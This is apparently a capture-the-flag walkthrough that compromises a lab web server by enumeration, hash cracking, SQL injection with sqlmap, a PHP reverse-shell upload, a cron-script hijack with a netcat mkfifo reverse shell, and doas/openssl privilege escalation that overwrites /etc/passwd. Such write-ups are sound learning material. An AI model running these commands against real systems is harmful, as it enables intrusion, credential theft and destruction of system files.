nmap -p- -sS -sV

22/tcp  open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
53/tcp  filtered domain
80/tcp  open     http    Apache httpd 2.4.41 ((Ubuntu))
445/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Starting out on port 80 we find the Apache2 default page.

Directory enumeration with feroxbuster produces a few interesting results.

Both passwd and shadow pages have the same base64 encoded value.

After decoding...

echo 'bm90IHRoaXMgZWFzeSA6RA==' | base64 -d
# Returns ...                                                                                                       
not this easy :D    

We also find id_rsa under the /admin directory. This again, contains a base64 encoded string that is not of any use...

After thoroughly going through port 80 we can then move onto port 445. Port 445 is normally reversed for SMB, however on this system it is dedicated to HTTP.

Again, the root page points back to the Apache default page.

feroxbuster -u -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -s 200 

Browsing to the management directory brings us to the page shown below.

Before attempting any login attempts on the target system we perform further directory enumeration and find some interesting results.

Downloading the db.sql files we find some account hashes within the file.

We can then crack both hashes with Hashcat against the rockyou.txt word list.

hashcat -m 0 hash /usr/share/wordlists/rockyou.txt

However, we are unable to proceed with our cracked credentials.

Inspecting the responses through ZAP web proxy we find a SQL statement error has been shown on logon failure.

Saving the original request file we can then utilize sqlmap to see if the target is vulnerable to SQL injection.

Enumerating available information with sqlmap I was able to build the command below.

sqlmap -r ~/Desktop/request.raw --batch --tables -D tms_db -T users --columns username,password --dump

Whilst the hashes are the same we do have some new information. We have a username of puser for the credentials we cracked earlier.

Testing the credentials against the login page proves successful.

Looking at the account settings in the top right of the screen we see we can change our profile picture. As we know PHP is running on the target web server we can upload a reverse shell.

RevShells was then used to generate a PHP PentestMonkey reverse shell.


Next, set up a netcat listener then open the user profile image in a new tab to execute the PHP shell.

Which should result in a shell.

We now have access as www-data and can begin to enumerate the internal system.

After going through some of the PHP files we find initialize.php contains sensitive information.

Logging into Mysql with the credentials from initialize.php we are unable to pull any new information that we did not know already.

Further enumeration with shows the script below is executed every minute by the user plot_admin.

Following the command below we can replace with our own which will contain a netcat reverse shell.

# rename

# Create our own

# Echo in first line to define bash
echo '#!/bin/bash' >

# echo in a nc reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 4444 >/tmp/f' >>

# Change permissions to make it executable
chmod 777

A short wait later we receive a reverse shell on our attacking system.

Enumerating with shows the doas binary is on the system which, essentially acts as an alternative to sudo.

GTFOBins provides relevant information on how to abuse the openssl binary.


We could quite easily grab the root flag using the method below:

doas -u root openssl enc -in /root/root.txt

A more destructive method; we can echo a new root user into /etc/passwd. This will wipe the contents of /etc/passwd, however we will have a root shell.

// echo 'viper:$1$luDZJMtq$4ljcR6cSb41FraIUQIiQx/:0:0:viper:/home/viper:/bin/bash' | doas -u root openssl enc -out "/etc/passwd"

then su to switch user and enter the password Password123.

Last updated